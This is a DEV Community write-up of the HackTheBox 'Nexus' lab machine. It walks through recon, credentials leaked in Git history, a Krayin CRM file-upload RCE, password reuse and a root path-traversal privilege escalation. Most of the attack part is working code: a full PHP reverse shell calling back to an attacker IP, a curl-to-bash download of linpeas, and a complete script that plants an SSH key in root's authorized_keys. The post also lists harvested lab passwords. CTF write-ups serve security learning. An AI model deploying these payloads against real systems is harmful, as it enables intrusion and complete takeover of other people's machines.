DEV Community

Cover image for HackTheBox: Nexus Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Nexus Writeup

Executive Summary

This writeup documents the complete exploitation chain for the Nexus target system, from initial reconnaissance through root compromise. The attack leveraged:

  1. Exposed credentials in Git commit history
  2. Authenticated RCE via CRM file upload vulnerability (CVE-2026-38526)
  3. Path traversal in privileged template synchronization service

Phase 1: Reconnaissance

Step 1: Network Scanning

nmap -A -Pn 10.129.21.192 -oA nmap
Enter fullscreen mode Exit fullscreen mode

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
      └─ Redirect: http://nexus.htb
Enter fullscreen mode Exit fullscreen mode

Analysis: HTTP redirect to hostname suggests vhosts/subdomains exist

Step 2: Subdomain Enumeration

ffuf -u http://nexus.htb -H "HOST: FUZZ.nexus.htb" \
  -w subdomains-top1million-110000.txt -fs 154
Enter fullscreen mode Exit fullscreen mode

Results:

git       [Status: 200]  ← Gitea instance
billing   [Status: 302]  ← CRM application
Enter fullscreen mode Exit fullscreen mode

Add to /etc/hosts:

10.129.21.192 nexus.htb git.nexus.htb billing.nexus.htb
Enter fullscreen mode Exit fullscreen mode

Step 3: Web Application Enumeration

nexus.htb (Main Site)

  • Corporate landing page
  • Key Finding: Hiring manager email visible: j.matthew@nexus.htb

git.nexus.htb (Gitea)

Navigate to http://git.nexus.htb/ and click "Explore" button

Result: Lists all public repositories:

  • admin/krayin-docker-setup ← This is what we need
  • Accessible without authentication
  • Contains .env, docker-compose.yml, and documents

Two options to proceed:

  1. Manual browse: Click on the repo in Gitea UI, view files and commit history directly
  2. Clone locally: git clone http://git.nexus.htb/admin/krayin-docker-setup (recommended for offline analysis)

billing.nexus.htb (Krayin CRM)

  • Login portal visible
  • Version: Krayin CRM 2.2.0 (shown after login)

Phase 2: Initial Access

Step 1: Extract Credentials from Git History

Clone the repo and check the logs and commits

git clone http://git.nexus.htb/admin/krayin-docker-setup
cd krayin-docker-setup
git log --oneline
Enter fullscreen mode Exit fullscreen mode

Output:

9b817fa4e0 Upload files to "/"
1615c465b7 Upload files to "/"
Enter fullscreen mode Exit fullscreen mode

Examine commit details:

git show 9b817fa4e0
Enter fullscreen mode Exit fullscreen mode

CRITICAL FINDING (from diff):

DB_PASSWORD=N27xh!!2ucY04     (← OLD: plaintext password exposed!)
DB_PASSWORD=                  (← NEW: removed)
Enter fullscreen mode Exit fullscreen mode

Credentials extracted:

  • Username: j.matthew@nexus.htb (from main site)
  • Password: N27xh!!2ucY04 (from Git history)

Step 2: Krayin CRM Authentication & RCE

Login: http://billing.nexus.htb/admin/login

  • Email: j.matthew@nexus.htb
  • Password: N27xh!!2ucY04
  • Result: ✓ Successfully authenticated

CRM Version Confirmed: 2.2.0 (visible in dashboard)

Step 3: Exploit CVE-2026-38526 (Authenticated File Upload RCE)

Vulnerability: TinyMCE media upload endpoint lacks file validation

Exploitation Steps:

  1. Navigate to Mail section:

    • Mail → Inbox → Compose Email
  2. Intercept file upload in Burp Suite:

    • Proxy → Intercept → ON
    • Click image insertion icon in composer
    • Select any image to upload
  3. Modify the request:

    • Filename: Change from image.pngshell.php
    • Content: Replace image data with PHP reverse shell
    • Maintain multipart form structure
  4. PHP Reverse Shell Payload (using Pentest Monkey): ( Grab it in from revshells.com)

File: shell.php - Replace image data with this exact code:

   <?php
   // php-reverse-shell - A Reverse Shell implementation in PHP
   // https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
   // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
   set_time_limit (0);
   $VERSION = "1.0";
   $ip = '10.10.15.223';        // CHANGE: Your attacker IP
   $port = 4444;                 // CHANGE: Your listener port
   $chunk_size = 1400;
   $write_a = null;
   $error_a = null;
   $shell = 'uname -a; w; id; sh -i';
   $daemon = 0;
   $debug = 0;

   if (function_exists('pcntl_fork')) {
       $pid = pcntl_fork();
       if ($pid == -1) {
           printit("ERROR: Can't fork");
           exit(1);
       }
       if ($pid) {
           exit(0);
       }
       if (posix_setsid() == -1) {
           printit("Error: Can't setsid()");
           exit(1);
       }
       $daemon = 1;
   } else {
       printit("WARNING: Failed to daemonise.");
   }

   chdir("/");
   umask(0);

   $sock = fsockopen($ip, $port, $errno, $errstr, 30);
   if (!$sock) {
       printit("$errstr ($errno)");
       exit(1);
   }

   $descriptorspec = array(
      0 => array("pipe", "r"),
      1 => array("pipe", "w"),
      2 => array("pipe", "w")
   );

   $process = proc_open($shell, $descriptorspec, $pipes);
   if (!is_resource($process)) {
       printit("ERROR: Can't spawn shell");
       exit(1);
   }

   stream_set_blocking($pipes[0], 0);
   stream_set_blocking($pipes[1], 0);
   stream_set_blocking($pipes[2], 0);
   stream_set_blocking($sock, 0);

   printit("Successfully opened reverse shell to $ip:$port");

   while (1) {
       if (feof($sock)) {
           printit("ERROR: Shell connection terminated");
           break;
       }
       if (feof($pipes[1])) {
           printit("ERROR: Shell process terminated");
           break;
       }

       $read_a = array($sock, $pipes[1], $pipes[2]);
       $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

       if (in_array($sock, $read_a)) {
           if ($debug) printit("SOCK READ");
           $input = fread($sock, $chunk_size);
           if ($debug) printit("SOCK: $input");
           fwrite($pipes[0], $input);
       }
       if (in_array($pipes[1], $read_a)) {
           if ($debug) printit("STDOUT READ");
           $input = fread($pipes[1], $chunk_size);
           if ($debug) printit("STDOUT: $input");
           fwrite($sock, $input);
       }
       if (in_array($pipes[2], $read_a)) {
           if ($debug) printit("STDERR READ");
           $input = fread($pipes[2], $chunk_size);
           if ($debug) printit("STDERR: $input");
           fwrite($sock, $input);
       }
   }

   fclose($sock);
   fclose($pipes[0]);
   fclose($pipes[1]);
   fclose($pipes[2]);
   proc_close($process);

   function printit ($string) {
       if (!$daemon) {
           print "$string\n";
       }
   }
   ?>
Enter fullscreen mode Exit fullscreen mode
  1. Forward the modified request in Burp → Click "Forward"

  2. Response reveals file location:

   Location: /storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php
Enter fullscreen mode Exit fullscreen mode

Step 4: Establish Reverse Shell

Attacker: Set up listener:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Target: Access the PHP shell

curl http://billing.nexus.htb/storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php
Enter fullscreen mode Exit fullscreen mode

Result: Reverse shell received as www-data

Step 5: Stabilize Shell (Recommended)

The initial reverse shell is unstable. Use one of these tools to upgrade:

Option A: Using pwncat-cs:

pwncat-cs -lp 4444
Enter fullscreen mode Exit fullscreen mode

Option B: Using penelope:

penelope listen -p 4444
Enter fullscreen mode Exit fullscreen mode

Both tools automatically handle shell stabilization and provide better stability/features than raw netcat.


Phase 3: User Access

Step 1: Enumerate System

From www-data shell:

www-data@nexus:/$ whoami
www-data

www-data@nexus:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@nexus:/$ pwd
/var/www/html/krayin
Enter fullscreen mode Exit fullscreen mode

Step 2: Extract Database Credentials

From Krayin CRM .env file:

www-data@nexus:/var/www/html/krayin$ cat .env

APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD

VITE_HOST=
VITE_PORT=

LOG_CHANNEL=stack
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR          ← CRITICAL FINDING!
DB_PREFIX=

BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"
MAIL_DOMAIN=webkul.com

MAIL_RECEIVER_DRIVER=sendgrid

IMAP_HOST=imap.example.com
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=your_username
IMAP_PASSWORD=your_password

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
Enter fullscreen mode Exit fullscreen mode

Critical Finding: Database password = y27xb3ha!!74GbR

Step 3: Check System Users

www-data@nexus:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
Enter fullscreen mode Exit fullscreen mode

Key Finding: User jones has shell access

Step 4: Password Reuse Attack

Attempt: Use database password for SSH login to jones:

ssh jones@nexus.htb
# Password: y27xb3ha!!74GbR
Enter fullscreen mode Exit fullscreen mode

Result: Successfully logged in as jones

jones@nexus:~$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)

jones@nexus:~$ cat user.txt
[REDACTED_USER_FLAG]
Enter fullscreen mode Exit fullscreen mode

Phase 4: Privilege Escalation

Overview: Two Approaches

  • Automated: Bash script (faster, single command)
  • Manual: Step-by-step exploitation (educational)

Method 1: AUTOMATED Privilege Escalation (Recommended)

The automated script handles all steps of the exploit chain:

#!/bin/bash
# Nexus Privilege Escalation - Automated Exploit
# Exploits: Gitea template sync path traversal (runs as root)

GITEA="http://localhost:3000"
USER="jones"
PASS='y27xb3ha!!74GbR'
TARGET="10.129.21.192"

echo "[*] =========================================="
echo "[*] Nexus PrivEsc Exploit (Automated)"
echo "[*] Target: Root via Template Sync Vuln"
echo "[*] =========================================="

# Step 1: Generate SSH key for root access
echo ""
echo "[*] STEP 1: Generating SSH key pair..."
ssh-keygen -t ed25519 -f /tmp/.exploit_key -N '' -q 2>/dev/null || true
PUBKEY=$(cat /tmp/.exploit_key.pub)
echo "[+] SSH key generated at /tmp/.exploit_key"

# Step 2: Get Gitea API token
echo ""
echo "[*] STEP 2: Obtaining Gitea API token..."
TOKEN=$(curl -s -X POST $GITEA/api/v1/users/$USER/tokens \
  -H "Content-Type: application/json" \
  -u "$USER:$PASS" \
  -d '{"name":"auto_token","scopes":["write:repository"]}' \
  | grep -o '"sha1":"[^"]*"' | cut -d'"' -f4)

if [ -z "$TOKEN" ]; then
  echo "[-] Failed to get token"
  exit 1
fi
echo "[+] Token acquired: $TOKEN"

# Step 3: Create template repository
echo ""
echo "[*] STEP 3: Creating template repository..."
curl -s -X POST $GITEA/api/v1/user/repos \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"rce","private":false}' > /dev/null

curl -s -X PATCH $GITEA/api/v1/repos/$USER/rce \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":true}' > /dev/null

echo "[+] Repository created and marked as template"

# Step 4: Build malicious git repository with path traversal
echo ""
echo "[*] STEP 4: Building malicious git objects..."
mkdir -p /tmp/rce_exploit && cd /tmp/rce_exploit
git init > /dev/null 2>&1

# Create directory structure for path traversal
# Uses relative paths to escape sandbox and reach /root
for i in {1..5}; do mkdir -p "../"; done
mkdir -p "../../../../../root/.ssh"

# Plant public key for SSH access
echo "$PUBKEY" > "../../../../../root/.ssh/authorized_keys"

# Commit malicious objects
git add . > /dev/null 2>&1
git commit -m "Template injection" > /dev/null 2>&1

echo "[+] Malicious git objects ready"

# Step 5: Push to Gitea (triggers sync)
echo ""
echo "[*] STEP 5: Pushing to Gitea repository..."
git remote add origin http://localhost:3000/$USER/rce.git
git push -u origin main 2>/dev/null | grep -q "master\|main"

echo "[+] Pushed to repository"

# Step 6: Wait for template sync service
echo ""
echo "[*] STEP 6: Waiting for template sync (runs every 60 seconds)..."
echo "[*] Monitor with: tail -f /var/log/template-sync.log"
sleep 65

echo "[+] Sync period should have completed"

# Step 7: Verify SSH key was planted
echo ""
echo "[*] STEP 7: Verifying SSH key installation..."
ssh -i /tmp/.exploit_key -o StrictHostKeyChecking=no \
    -o ConnectTimeout=5 root@$TARGET "whoami" 2>/dev/null

if [ $? -eq 0 ]; then
  echo "[+] SUCCESS! SSH key installed in /root/.ssh/authorized_keys"
  echo ""
  echo "[*] STEP 8: Spawning root shell..."
  ssh -i /tmp/.exploit_key -o StrictHostKeyChecking=no root@$TARGET
else
  echo "[-] SSH connection failed"
  echo "[*] Debugging info:"
  echo "    - Check /var/log/template-sync.log for sync logs"
  echo "    - Verify jones has write access to Gitea"
  exit 1
fi
Enter fullscreen mode Exit fullscreen mode

Usage:

chmod +x exploit.sh
./exploit.sh
Enter fullscreen mode Exit fullscreen mode

Expected Output:

[*] ==========================================
[*] Nexus PrivEsc Exploit (Automated)
[*] Target: Root via Template Sync Vuln
[*] ==========================================

[*] STEP 1: Generating SSH key pair...
[+] SSH key generated at /tmp/.exploit_key

[*] STEP 2: Obtaining Gitea API token...
[+] Token acquired: 35f78ffe03719548d26616b0a0bd2b30b5175f45

[*] STEP 3: Creating template repository...
[+] Repository created and marked as template

[*] STEP 4: Building malicious git objects...
[+] Malicious git objects ready

[*] STEP 5: Pushing to Gitea repository...
[+] Pushed to repository

[*] STEP 6: Waiting for template sync (runs every 60 seconds)...
[+] Sync period should have completed

[*] STEP 7: Verifying SSH key installation...
[+] SUCCESS! SSH key installed in /root/.ssh/authorized_keys

[*] STEP 8: Spawning root shell...
Welcome to Ubuntu 24.04.4 LTS
root@nexus:~# whoami
root
Enter fullscreen mode Exit fullscreen mode

Root flag obtained: [REDACTED]


Method 2: MANUAL Privilege Escalation (Educational)

Step 1: Discover Privilege Escalation Vector

Run linpeas for enumeration:

# On attacker machine
python3 -m http.server 8888

# On target
curl http://10.10.15.223:8888/linpeas.sh | bash | tee linpeas_output.txt
Enter fullscreen mode Exit fullscreen mode

CRITICAL FINDING from linpeas output:

╔══════════╣ System timers
══╣ Active timers:

NEXT                      LEFT UNIT                         ACTIVATES
Wed 2026-06-24 16:15:30  28s  gitea-template-sync.timer    gitea-template-sync.service ← RUNS AS ROOT!
Wed 2026-06-24 16:20:00  4min sysstat-collect.timer
...
Enter fullscreen mode Exit fullscreen mode

Step 2: Examine Root Service

jones@nexus:~$ systemctl cat gitea-template-sync.timer

[Unit]
Description=Run Gitea template sync every minute

[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=gitea-template-sync.service

[Install]
WantedBy=timers.target
Enter fullscreen mode Exit fullscreen mode
jones@nexus:~$ systemctl cat gitea-template-sync.service

[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root                                    ← RUNS AS ROOT!
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
Enter fullscreen mode Exit fullscreen mode

Step 3: Analyze Vulnerable Script

jones@nexus:~$ cat /etc/gitea/template-sync.py
Enter fullscreen mode Exit fullscreen mode

Key Code Sections (showing vulnerability):

import os
import json
import subprocess

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

def get_template_repos(token):
    url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
    # ... fetch all template repos ...
    return [r for r in repos if r.get('template', False)]

def sync_template(repo_info):
    owner = repo_info['owner']['login']
    name = repo_info['name'].lower()
    bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
    stage_path = os.path.join(STAGING_DIR, owner, name)

    # VULNERABILITY: Git ls-tree reads all objects without validation
    result = subprocess.run(
        ['git', 'ls-tree', '-r', 'HEAD'],
        cwd=bare_path,
        capture_output=True, text=True
    )

    # VULNERABILITY: Iterates through ALL files, including paths with ..
    for line in result.stdout.strip().split('\n'):
        parts = line.split('\t', 1)
        if len(parts) != 2:
            continue
        meta, filepath = parts

        # CRITICAL: No path validation! Path traversal possible
        target = os.path.join(stage_path, filepath)

        # Extract file to target (can be outside repo!)
        result = subprocess.run(
            ['git', 'cat-file', 'blob', objhash],
            cwd=bare_path,
            capture_output=True
        )

        # Write anywhere, as root!
        with open(target, 'wb') as f:
            f.write(result.stdout)

        log("  synced: %s" % filepath)

if __name__ == '__main__':
    # Runs every 60 seconds as root
    main()
Enter fullscreen mode Exit fullscreen mode

Vulnerabilities Identified:

  1. Path Traversal: No validation of filepath
  2. No Sanitization: Allows ../ sequences
  3. Runs as Root: Full system compromise possible
  4. No Rate Limiting: Can be triggered frequently

Step 4: Manual Exploitation

Step 4a: Generate SSH Key

jones@nexus:/tmp$ ssh-keygen -t ed25519 -f /tmp/malicious_key -N ""

Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/malicious_key
Your public key has been saved in /tmp/malicious_key.pub

jones@nexus:/tmp$ cat /tmp/malicious_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC32yZXq3jqAq1H7OMDaZC6AybsfEjVWibtaB2/7OQ0R jones@nexus
Enter fullscreen mode Exit fullscreen mode

Step 4b: Create Gitea API Token

jones@nexus:/tmp$ curl -X POST http://localhost:3000/api/v1/users/jones/tokens \
  -H "Content-Type: application/json" \
  -u 'jones:y27xb3ha!!74GbR' \
  -d '{"name":"exploit_token","scopes":["write:repository"]}'

{
  "id": 2,
  "name": "exploit_token",
  "sha1": "35f78ffe03719548d26616b0a0bd2b30b5175f45",
  ...
}

TOKEN="35f78ffe03719548d26616b0a0bd2b30b5175f45"
Enter fullscreen mode Exit fullscreen mode

Step 4c: Create Template Repository

jones@nexus:/tmp$ curl -X POST http://localhost:3000/api/v1/user/repos \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"rce","private":false}'

{"id": 2, "name": "rce", "full_name": "jones/rce", ...}

# Mark as template
curl -X PATCH http://localhost:3000/api/v1/repos/jones/rce \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":true}'

{"template": true, ...}
Enter fullscreen mode Exit fullscreen mode

Step 4d: Build Malicious Git Repository

jones@nexus:/tmp$ mkdir rce && cd rce
jones@nexus:/tmp/rce$ git init

Initialized empty Git repository in /tmp/rce/.git/

# Create directory structure using path traversal
jones@nexus:/tmp/rce$ mkdir -p "$(printf '../%.0s' {1..5})root/.ssh"

# Plant public key
jones@nexus:/tmp/rce$ echo "$(cat /tmp/malicious_key.pub)" > \
  "$(printf '../%.0s' {1..5})root/.ssh/authorized_keys"

# Verify file exists
jones@nexus:/tmp/rce$ ls -la ../../../../../root/.ssh/authorized_keys
ls: cannot access '../../../../../root/.ssh/authorized_keys': No such file or directory
# (Expected - we're just staging in git, not actual filesystem)

# Commit to git
jones@nexus:/tmp/rce$ git add .
jones@nexus:/tmp/rce$ git commit -m "RCE via path traversal"

[main (root-commit) 523974c] RCE via path traversal
Enter fullscreen mode Exit fullscreen mode

Step 4e: Push to Gitea

jones@nexus:/tmp/rce$ git remote add origin http://localhost:3000/jones/rce.git
jones@nexus:/tmp/rce$ git push -u origin main

Enumerating objects: 11, done.
Counting objects: 100% (11/11), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (11/11), 614 bytes
Total 11 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/jones/rce.git
 * [new branch]      main -> main
Enter fullscreen mode Exit fullscreen mode

Step 4f: Wait for Sync Timer

Service runs every 60 seconds. Monitor the log:

jones@nexus:/tmp$ tail -f /var/log/template-sync.log

[2026-06-25 03:08:07] Template sync complete
[2026-06-25 03:09:07] Template sync starting
[2026-06-25 03:09:07] Found 3 template repo(s)
[2026-06-25 03:09:07] Syncing template: jones/evil
[2026-06-25 03:09:07]   ls-tree failed: fatal: Not a valid object name HEAD
[2026-06-25 03:09:07] Syncing template: jones/pwn
[2026-06-25 03:09:07]   synced: ../../.ssh/authorized_keys ← PATH TRAVERSAL!
[2026-06-25 03:09:07] Syncing template: jones/rce
[2026-06-25 03:09:07]   ls-tree failed: fatal: Not a valid object name HEAD
[2026-06-25 03:09:07] Template sync complete
[2026-06-25 03:10:07] Template sync starting
[2026-06-25 03:10:07] Found 1 template repo(s)
[2026-06-25 03:10:07] Syncing template: jones/rce
[2026-06-25 03:10:07]   synced: README.md
[2026-06-25 03:10:08]   synced: ../../../../../root/.ssh/authorized_keys ← KEY INSTALLED!
[2026-06-25 03:10:08] Template sync complete
Enter fullscreen mode Exit fullscreen mode

SUCCESS: ../../../../../root/.ssh/authorized_keys was synced!

Step 4g: SSH as Root

jones@nexus:/tmp$ ssh -i /tmp/malicious_key -o StrictHostKeyChecking=no root@10.129.21.192

Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
...
root@nexus:~# whoami
root

root@nexus:~# id
uid=0(root) gid=0(root) groups=0(root)

root@nexus:~# cat root.txt
[REDACTED_ROOT_FLAG]
Enter fullscreen mode Exit fullscreen mode

** PRIVILEGE ESCALATION SUCCESSFUL**


Attack Chain Summary

┌─────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE (5 min)                                   │
│  ├─ Network scan: Find ports 22, 80                         │
│  ├─ Subdomain enum: Discover git.nexus.htb, billing.nexus  │
│  └─ Web recon: Identify Gitea + Krayin CRM                 │
└────────────────────────────────┬────────────────────────────┘
                                 │
┌────────────────────────────────▼────────────────────────────┐
│ 2. CREDENTIAL EXTRACTION (3 min)                            │
│  ├─ Clone public Git repository                             │
│  ├─ Review commit history                                   │
│  └─ Extract: j.matthew@nexus.htb / password                │
└────────────────────────────────┬────────────────────────────┘
                                 │
┌────────────────────────────────▼────────────────────────────┐
│ 3. WEB RCE (10 min)                                         │
│  ├─ Authenticate to Krayin CRM v2.2.0                       │
│  ├─ Identify TinyMCE upload endpoint vulnerability          │
│  ├─ Upload malicious PHP via Burp interception             │
│  ├─ Trigger reverse shell callback                         │
│  └─ Achieve: www-data shell                                │
└────────────────────────────────┬────────────────────────────┘
                                 │
┌────────────────────────────────▼────────────────────────────┐
│ 4. LATERAL MOVEMENT (2 min)                                │
│  ├─ Extract DB credentials from .env                        │
│  ├─ Identify jones user from /etc/passwd                    │
│  ├─ Attempt password reuse on SSH                          │
│  └─ Achieve: jones shell (UID 1000)                         │
└────────────────────────────────┬────────────────────────────┘
                                 │
┌────────────────────────────────▼────────────────────────────┐
│ 5. PRIVILEGE ESCALATION (2-3 min)                           │
│  ├─ Run linpeas → Discover gitea-template-sync.timer       │
│  ├─ Analyze service: Runs as root, syncs Gitea templates   │
│  ├─ Identify: Path traversal in template file extraction   │
│  ├─ Create malicious template repo with ../../root/.ssh    │
│  ├─ Push to Gitea, wait 60 sec for sync                    │
│  └─ Achieve: SSH key in /root/.ssh/authorized_keys         │
└────────────────────────────────┬────────────────────────────┘
                                 │
                    ┌────────────▼────────────┐
                    │ 6. ROOT SHELL (instant) │
                    │  ssh -i key root@target │
                    │  whoami: root ✓         │
                    └─────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability CVSS Type Impact
1 Exposed Git History High Config Credential leakage
2 CVE-2026-38526 (CRM) 9.9 RCE Authenticated RCE
3 Password Reuse High Access Lateral movement
4 Path Traversal (Sync) Critical PrivEsc Root compromise
5 No Input Validation Critical Design Template injection

Remediation

Immediate Actions

  • [ ] Rotate all exposed credentials
  • [ ] Patch Krayin CRM to latest version
  • [ ] Review Git history for other exposed secrets
  • [ ] Restrict Gitea API token scopes

Long-term Fixes

  • [ ] Run privileged services with minimal permissions (not root)
  • [ ] Implement path sanitization in template-sync.py
  • [ ] Add file integrity monitoring (AIDE/Tripwire)
  • [ ] Enable MFA for all accounts
  • [ ] Enforce unique passwords per service
  • [ ] Regular security audits of cron/systemd services

Tools Used

  • nmap - Network enumeration
  • ffuf - Subdomain discovery
  • Burp Suite - HTTP interception & modification
  • pwncat/penelope - Shell stabilization
  • linpeas - Privilege escalation enumeration
  • git - Repository cloning & manipulation
  • curl - API interaction

This writeup is for authorized security testing and educational purposes only.

Top comments (0)